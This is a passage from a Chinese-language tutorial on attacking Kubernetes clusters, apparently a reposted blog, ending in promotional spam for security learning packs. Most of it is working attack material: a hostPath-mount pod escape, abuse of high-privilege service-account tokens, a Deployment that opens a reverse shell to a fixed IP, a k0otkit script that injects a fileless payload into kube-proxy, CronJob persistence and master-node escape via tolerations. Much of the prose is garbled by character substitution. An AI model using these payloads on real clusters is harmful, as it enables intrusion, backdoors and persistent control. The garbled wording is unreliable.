- ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
复制代码
9、私有镜像库袒露
举个例子,假如一个企业它的许多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄袒露来了,我们就可以通过审计等手段去挖掘私有镜像中的毛病,造成供应链打击。
10、Dashboard面板爆破
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问毛病的情况下,通过dashboard我们可以控制整个集群。
- 用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.
- 为Kubernetes-dashboard绑定cluster-admin(cluster-admin拥有管理集群的最高权限).
利用
默认配置登陆是需要输入 Token 的且不能跳过

但是假如在配置参数中添加了如下参数,那么在登陆的过程中就可以举行跳过 Token 输入环节

点击Skip进入dashboard现实上使用的是Kubernetes-
dashboard这个ServiceAccount,假如此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。

给Kubernetes-dashboard绑定cluster-admin:
- apiVersion: rbac.authorization.k8s.io/v1
- kind: ClusterRoleBinding
- metadata:
- name: dashboard-1
- subjects:
- - kind: ServiceAccount
- name: k8s-dashboard-kubernetes-dashboard
- namespace: kube-system
- roleRef:
- kind: ClusterRole
- name: cluster-admin
- apiGroup: rbac.authorization.k8s.io
复制代码 
绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。

获取访问后直接创建特权容器即可getshell
0x02
执行
目录挂载逃逸
这个技能是综合了执行、长期化、权限提拔的一个攻击方法,为了省事,就放在这里一块说了。
首先,在我们获取了api
server控制权后,我们可以创建Pod,并在Pod内部执行命令。假如我们在创建Pod时,将Node节点的根目录挂载到Pod的某个目录下,由于我们能在Pod内部执行命令,所以我们可以修改挂载到Pod下的Node节点根目录中文件的内容,假如我们写入恶意crontab、web
shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。
具体复现如下
先创建一个恶意Pod
- 首先我们创建恶意Pod,可以直接创建Pod,也可以用Deployment创建。
- 既然提到创建Pod,那么就多提一句:直接创建Pod和用Deployment创建Pod的区别是什么?
- Deployment可以更方便的设置Pod的数量,方便Pod水平扩展。
- Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。
- 使用Deployment升级Pod只需要定义Pod的最终状态,k8s会为你执行必要的操作。
- 如果创建一个小玩意,那么直接创建Pod就行了,没必要用deployment。
- 用Pod创建
- apiVersion:v1
- kind:Pod
- metadate:
- name:evilpod
- spec:
- containers:
- - image:nginx
- name:container
- volumeMounts:
- - mountPath:/mnt
- name:test-volume
- volumes:
- - name: test-volume
- hostPath:
- path:/
- 用deployment创建
- apiVersion: apps/v1
- kind:Deployment
- metadata:
- name:nginx-deployment
- labels:
- apps:nginx-test
- spec:
- replicas:1
- selector:
- matchLabels:
- app:nginx
- template:
- metadata:
- labels:
- app:nginx
- spec:
- containers:
- - image:nginx
- name:container
- volumeMounts:
- - mountPath : /mnt
- name: test-volume
- volumes:
- - name: test-volume
- hostPath:
- path: /
复制代码 将以上文本写入到一个yaml文件中,然后执行
- kubectl apply -f xxxxx.yaml
- 如果是api server未授权打进去的,可能要通过-s参数设置一下api server的ip和地址:
- kubectl -s http://master_ip:8080 command
- 这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别:
- 两个命令都可以用于创建pod,apply更倾向于”维护资源“,可以用于更新已有Pod;而create更倾向于”直接创建“,不管三七二十一给我创建就完事了简而言之,当一个资源已经存在时,用create会报错,而apply不会报错
复制代码 恶意容器就创建好了
创建好了后使用命令 kubectl get pods 获取恶意pod的名字
然后使用命令 kubectl exec -it evilpodname /bin/bash
进入pod内部shell,然后向挂载到Pod内部的Node根目录中写入恶意crontab/ssh公钥/webshell即可拿到node的shell。
大致流程一张图表现如下

利用Service
Account毗连API Server执行指令
k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api
server提供的一些API举行一些活动)
假如我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。
pod的serviceaccount信息一样平常存放于/var/run/secrets/kubernetes.io/serviceaccount/目录下
但是默认的user或者service account并不具备任何权限
这是默认情况下,一个pod使用自身service account(默认为当前定名空间的default账户)去请求api
server返回的结果,可以发现是没有权限的:
- $ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
- $ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
- $ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
- $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN"
- "https://192.168.111.20:6443/version/"
- "kind": "Status",
- "apiVersion": "v1",
- "metadata": {},
- "status": "Failure",
- "message": "version is forbidden: User
- "system:serviceaccount:default:default" cannot list resource "version" in API group "" at the cluster scope",
- "reason": "Forbidden",
- "details": {
- "kind": "version"
- },
- "code": 403
复制代码 那么我如今创建一个高权限service account 并使其与一个Pod相关联,来复现一下这个攻击手法
首先创建一个高权限service account
- kubectl create serviceaccount niubi #创建service account:niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组,相当于给了它高权限
复制代码 然后将service account与pod相关联
- 在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi
复制代码 
再试一下,发现可以调用api server了

0x03
长期化
这里的长期化是指怎样在Pod中长期化、怎样在Node中长期化、怎样在集群中长期化。
怎样在Node中长期化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是长期化,不如说是权限提拔更符合现实一点,因为这几个手段在现实渗出中都是为了从Pod逃逸出来获取Node权限。
同时,在Pod,Node,Master上做长期化,有大部门方法本质上是“怎样在linux机器上做长期化”,而“怎样在linux机器上做长期化”方法就太多了,这里就只偏重于讲述在“云环境”里独有的长期化方法。
在私有镜像库中植入后门(Pod长期化)
假如接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等)
或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件更换为精心构造的后门文件之后再次打包成新的镜像。
修改核心组件访问权限(集群长期化)
包括且不限于 更改配置袒露apiserver
8080端口、袒露docker.sock、袒露未授权etcd、袒露未授权kubelet等修改集群配置文件达到长期化的方法。
shadow api server(集群长期化/cdk工具利用)
部署一个额外的未授权且不记载日志的api server以供我们举行长期化。
我们可以用github上专门用于k8s渗出的工具cdk(这个工具很屌)来做到这一点
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
Exploit: k8s shadow apiserver · cdk-team/CDK Wiki ·
GitHub
Deployment
创建容器时,通过启用
DaemonSets、Deployments,可以使容器和子容器纵然被清理掉了也可以恢复,攻击者经常利用这个特性举行长期化,涉及的概念有:
● ReplicationController(RC)
ReplicationController 确保在任何时候都有特定命目标 Pod 副本处于运行状态。
● Replication Set(RS)
Replication Set简称RS,官方已经推荐我们使用 RS 和 Deployment 来代替 RC 了,现实上 RS 和
RC 的功能根本划一,目前唯一的一个区别就是RC 只支持基于等式的 selector。
● Deployment
主要职责和 RC 一样,的都是保证 Pod 的数目和康健,二者大部门功能都是完全划一的,可以看成是一个升级版的 RC 控制器。官方组件
kube-dns、kube-proxy 也都是使用的Deployment来管理。
这里使用Deployment来部署后门
- #dep.yaml
- apiVersion: apps/v1
- kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
- metadata:
- name: nginx-deploy
- labels:
- k8s-app: nginx-demo
- spec:
- replicas: 3 #指定Pod副本数量
- selector:
- matchLabels:
- app: nginx
- template:
- metadata:
- labels:
- app: nginx
- spec:
- hostNetwork: true
- hostPID: true
- containers:
- - name: nginx
- image: nginx:1.7.9
- imagePullPolicy: IfNotPresent
- command: ["bash"] #反弹Shell
- args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
- securityContext:
- privileged: true #特权模式
- volumeMounts:
- - mountPath: /host
- name: host-root
- volumes:
- - name: host-root
- hostPath:
- path: /
- type: Directory
- #创建
- kubectl create -f dep.yaml
复制代码 Rootkit
这里介绍一个 k8s 的 rootkit,k0otkit 是一种通用的后渗出技能,可用于对 Kubernetes 集群的渗出。使用
k0otkit,您可以以快速、潜伏和连续的方式(反向 shell)操作目标 Kubernetes 集群中的全部节点。
K0otkit使用到的技能:
●DaemonSet和Secret资源(快速持续反弹、资源分离)
● kube-proxy镜像(就地取材)
● 动态容器注入(高潜伏性)
● Meterpreter(流量加密)
● 无文件攻击(高潜伏性)
- #生成k0otkit
- ./pre_exp.sh
- #监听
- ./handle_multi_reverse_shell.sh
复制代码 k0otkit.sh的内容复制到master执行:
- volume_name=cache
- mount_path=/var/kube-proxy-cache
- ctr_name=kube-proxy-cache
- binary_file=/usr/local/bin/kube-proxy-cache
- payload_name=cache
- secret_name=proxy-cache
- secret_data_name=content
- ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
- volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
- image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
- # create payload secret
- cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
- apiVersion: v1
- kind: Secret
- metadata:
- name: $secret_name
- namespace: kube-system
- type: Opaque
- data:
- $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
- # inject malicious container into kube-proxy pod
- kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
- | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
- | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: ["sh"]\n args: ["-c", "echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
- | kubectl --kubeconfig /root/.kube/config replace -f -
复制代码 cronjob长期化
CronJob用于执行周期性的动作,例如备份、陈诉生成等,攻击者可以利用此功能长期化。
- apiVersion: batch/v1
- kind: CronJob #使用CronJob对象
- metadata:
- name: hello
- spec:
- schedule: "*/1 * * * *" #每分钟执行一次
- jobTemplate:
- spec:
- template:
- spec:
- containers:
- - name: hello
- image: busybox
- imagePullPolicy: IfNotPresent
- command:
- - /bin/sh
- - -c
- - #反弹Shell或者木马
- restartPolicy: OnFailure
复制代码
0x04
权限提拔
指从pod拿到Node的shell,或者拿到集群控制权。
上面的小节提到过一些,好比kubectl未授权、docker.sock、挂载目录、高权限Service account等方法。
除此之外另有Docker、k8s的一些CVE
Docker逃逸如 CVE-2019-5736 ,CVE-2019-14271**,CVE-2020-15257**、CVE-2022-0811
k8s提权到接管集群的如 CVE-2018-1002105 , CVE-2020-8558
docker逃逸可以看之前总结的容器逃逸相关文章,这里说一下特权容器逃逸
特权容器逃逸
当容器启动加上--privileged选项时,容器可以访问宿主机上全部设备。
而K8s配置文件启用了privileged: true:
- spec:
- containers:
- - name: ubuntu
- image: ubuntu:latest
- securityContext:
- privileged: true
复制代码 实战案例:
通过毛病获取WebShell,检察根目录存在.dockerenv,可通过fdisk -l检察磁盘目录,举行挂载目录逃逸:
- #Webshell下操作
- fdisk -l
- mkdir /tmp/test
- mount /dev/sda3 /tmp/test
- chroot /tmp/test bash
复制代码
0x05
探测
● 内网扫描
● K8s常用端口探测
● 集群内部网络
是否在容器环境中
- 根目录下/.dockerenv 文件存在即docker环境
- /proc/1/cgroup 内若包含docker或kube字符串则是在docker环境或k8s pod 之中



- 检察端口开放情况(netstat -anp),假如开放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定为是在k8s环境中的一台Node或者master,这个方法亦可用于端口扫描探测目标主机是否为k8s集群中的机器
- 检察当前网段,k8s中 Flannel 网络插件默认使用10.244.0.0/16网络, Calico 默认使用192.168.0.0/16网络,假如出如今这些网段中(特殊是10.244网段)那么可以初步判断为集群中的一个pod。pod里面命令很少,可以通过hostname -I(大写i)来检察ip地址

集群内网扫描
Kubernetes的网络中存在4种主要范例的通信
● 同一Pod内的容器间通信
● 各Pod相互间通信
● Pod与Service间的通信
● 集群外部的流量与Service间的通信。
所以和通例内网渗出无区别,nmap、masscan等扫描
K8s常用端口探测
集群内部网络
● Flannel网络插件默认使用10.244.0.0/16网络
●Calico默认使用192.168.0.0/16网络
0x06
横向移动
目标
通常来说,拿到kubeconfig或者能访问apiserver的ServiceAccount token,就代表着控下了整个集群。
但通常在红队攻击中,我们经常要拿到某一类特定紧张体系的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而得到节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。
亲和性与反亲和性
一样平常来说我们部署的Pod是通过集群的自动调理策略来选择节点的,但是因为一些现实业务的需求大概需要控制某些pod调理到特定的节点。就需要用到
Kubernetes 里面的一个概念:亲和性和反亲和性。
亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。
- 节点亲和性 普通些描述就是用来控制 Pod 要部署在哪些节点上,以及不能部署在哪些节点上的
- pod亲和性和反亲和性 表现pod部署到或不部署到满足某些 label 的pod所在的node上
节点亲和性( nodeAffinity )
节点亲和性主要是用来控制 pod 要部署在哪些主机上,以及不能部署在哪些主机上的,演示一下:
检察node的 label 命令
- kubectl get nodes --show-labels
复制代码 给节点打上 label 标签
- kubectl label nodes k8s-node01 com=justtest
- node/k8s-node01 labeled
复制代码 当node 被打上了相关标签后,在调理的时候就可以使用这些标签了,只需要在 Pod 的spec字段中添加 nodeSelector 字段
- apiVersion: v1
- kind: Pod
- metadata:
- name: node-scheduler
- spec:
- nodeSelector:
- com: justtest
复制代码 Pod 亲和性( podAffinity )
pod 亲和性主要处理的是 pod 与 pod 之间的关系,好比一个 pod 在一个节点上了,那么另一个也得在这个节点,或者你这个 pod
在节点上了,那么我就不想和你待在同一个节点上。
污点与容忍度
节点亲和性 是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点可以或许排斥一类特定的 Pod。
污点标记选项:
- NoSchedule ,表现pod 不会被调理到标记为 taints 的节点
- PreferNoSchedule ,NoSchedule 的软策略版本,表现尽量不调理到污点节点上去
- NoExecute :该选项意味着一旦 Taint 生效,如该节点内正在运行的pod 没有对应 Tolerate 设置,会直接被逐出
我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,所以我们看到我们平常的 pod 都没有被调理到master
上去。除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是体系级别的Pod,例如kube-system


给指定节点标记污点 taint :
- kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule
复制代码 
上面将 k8s-node01 节点标记为了污点,影响策略是 NoSchedule,只会影响新的 pod 调理。
由于 node01节点被标记为了污点节点,所以我们这里要想 pod 可以或许调理到 node01节点去, 就需要增加容忍的声明

使用污点和容忍度可以或许使Pod机动的避开某些节点或者将某些Pod从节点上驱逐。
详细概念可以参考官网文档:[污点和容忍度 |
Kubernetes](https://kubernetes.io/zh/docs/concepts/scheduling-eviction/taint-
and-toleration/ “污点和容忍度 | Kubernetes”)
实现master节点逃逸
好比要想获取到master节点的shell,则可以从这两点考虑
- 去掉“污点”(taints)(生产环境不推荐)
- 让pod可以或许容忍(tolerations)该节点上的“污点”。
检察k8s-master的节点情况,确认Master节点的容忍度:

创建带有容忍参数并且挂载宿主机根目录的Pod
- apiVersion: v1
- kind: Pod
- metadata:
- name: myapp2
- spec:
- containers:
- - image: nginx
- name: test-container
- volumeMounts:
- - mountPath: /mnt
- name: test-volume
- tolerations:
- - key: node-role.kubernetes.io/master
- operator: Exists
- effect: NoSchedule
- volumes:
- - name: test-volume
- hostPath:
- path: /
- kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
- kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash
复制代码 

之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。

四、后渗出&集群长期化
K8S后渗出横向节点与长期化潜伏方式探索
五、参考
https://www.const27.com/2022/03/13/k8s安全
入门学习/ (k8s底子、攻击矩阵)
https://paper.seebug.org/1803/(k8s攻击矩阵)
K8S云原生环境渗出学习 - 先知社区
(K8S云原生环境渗出学习)
K8S后渗出横向节点与长期化潜伏方式探索 (K8S后渗出横向节点与长期化潜伏方式探索)
K8S API访问控制之RBAC利用
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 底子知识 |
Kubernetes(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文)
题外话
本日只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有资助!
零底子入门
对于从来没有打仗过网络安全的同学,我们帮你准备了详细的学习发展门路图。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没题目。
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
1.网络安全学习门路图
要学习一门新的技能,作为新手一定要先学习发展门路图,方向不对,努力白费。
对于从来没有打仗过网络安全的同学,我们帮你准备了详细的学习发展门路图&学习规划。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没题目。
2.视频教程
网上固然也有很多的学习资源,但根本上都残缺不全的,这是我自己录的网安视频教程,上面门路图的每一个知识点,我都有配套的视频解说。
技能文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC毛病的经验和技能要点,电子书也有200多本【点击领取技能文档】
(都打包成一块的了,不能一一展开,总共300多集)
3.技能文档和电子书
技能文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC毛病的经验和技能要点,电子书也有200多本【点击领取书籍】
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受接待的几十款款黑客工具。涉及范围主要会集在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,假如你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试笃信服、奇安信、腾讯或者别的大厂面试时经常碰到的,假如大家有好的题目或者好的看法接待分享。
参考剖析:笃信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表现更加易懂。
内容概要:包括 内网、操作体系、协议、渗出测试、安服、毛病、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑毛病、工具、SQLmap、NMAP、BP、MSF…
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |